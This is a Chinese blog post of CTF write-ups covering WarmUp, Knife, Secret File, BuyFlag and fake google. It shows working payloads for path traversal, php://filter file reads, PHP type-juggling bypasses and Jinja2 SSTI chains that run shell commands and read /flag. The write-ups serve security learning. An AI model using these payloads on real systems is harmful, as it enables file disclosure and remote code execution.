[HCTF 2018]WarmUp&[极客大挑战 2019]Knife&[极客大挑战 2019]Secret File&[极客大挑战 2019]BuyFlag

[HCTF 2018]WarmUp

打开之后硕大的一张滑稽
F12一下看看有没有提示

在这里插入图片描述

发现了source.php

得到了一串PHP

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现还有一个hint.php

打开后提示

flag not here, and flag in ffffllllaaaagggg

再回去看看PHP代码

看到了有一个checkfile函数

往下看

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

mb_substr(str1,start,[length][,[str2]]):是在str1从start开始length为长度截取字符串,str2是表示字符编码 mb_strpos(str1,str2):查找str2在str1中出现的位置

首先想到怎么绕过

可以构造payload:

file=hint.php?/../../../../../../../../ffffllllaaaagggg

拿到flag

flag{ceb7304c-7983-4578-bd58-db130b4b22f3}

https://blog.csdn.net/weixin_47174945/article/details/109500269 大师傅的详细解题步骤

[极客大挑战 2019]Knife

打开就是啪的一下!!!很快嗷!

直接一个shell丢在脸上

在这里插入图片描述

打开蚁剑 直接链接拿Flag!!!

[极客大挑战 2019]Secret File

打开就是这个样子

在这里插入图片描述

老规矩F12一下看看有没有详细信息

在这里插入图片描述

发现一个php,点进去是这样的

在这里插入图片描述

用Burpsuite抓一下包拿到了这个

在这里插入图片描述

打开是一串PHP

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

首先

strstr() — 查找字符串的首次出现
stristr() — strstr() 函数的忽略大小写版本

也就是:

要GET一个file参数过去,但是不能含有…/、tp、input、data,包括这些的大小写。不含有这些的话就会包含file指定的文件,php://伪协议
php://filter可以使用 

https://blog.csdn.net/qq_33020901/article/details/78706764 php伪协议

接下来构造payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

拿到了base64加密的代码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7YWEyNTVjNGYtOTFiZi00MjJhLThlMzItNjc4ZjAzZWQ0NGNlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密一下:

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{aa255c4f-91bf-422a-8e32-678f03ed44ce}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>
Alt+1

好家伙,想要个女朋友…

[极客大挑战 2019]BuyFlag

打开是这个样子!

在这里插入图片描述

F12一下发现了pay.php(从网页的菜单里电进去也一样)

burpsuite抓一下

在这里插入图片描述

回去看网页

在这里插入图片描述

提示得是CUIT的学生
那么 Cookie user 改成 1

send 一下 又提示得提交密码

在源代码里发现了:

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

传一下password 提示需要给钱

但是不能为纯数字 所以构造password为404a

is_numberic漏洞 让password为404%20或者404%00或者404a都可以绕过。

然后提示需要给钱QAQ 盲猜还有个money需要传值

传了一下

提示length超长

百度了一下发现了php strcmp()漏洞

https://blog.csdn.net/cherrie007/article/details/77473817

则传

money[]=1 

在这里插入图片描述

得到flag

flag{03a0544e-e496-4790-b66d-2e6d5359be31}

PS:

Burpsuite POST传值需要加 Content-Type: application/x-www-form-urlencoded

[BJDCTF 2nd]fake google

SSTi 一些简单的注入

{{config}}可以获取当前设置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config
().__class__.__bases__[0].__subclasses__() 
---查看可用模块

().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,不过题目环境不能用。手动数吧= = 169位

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
没有什么过滤= =友好!

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[%27open%27](%27/flag%27).read()}}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值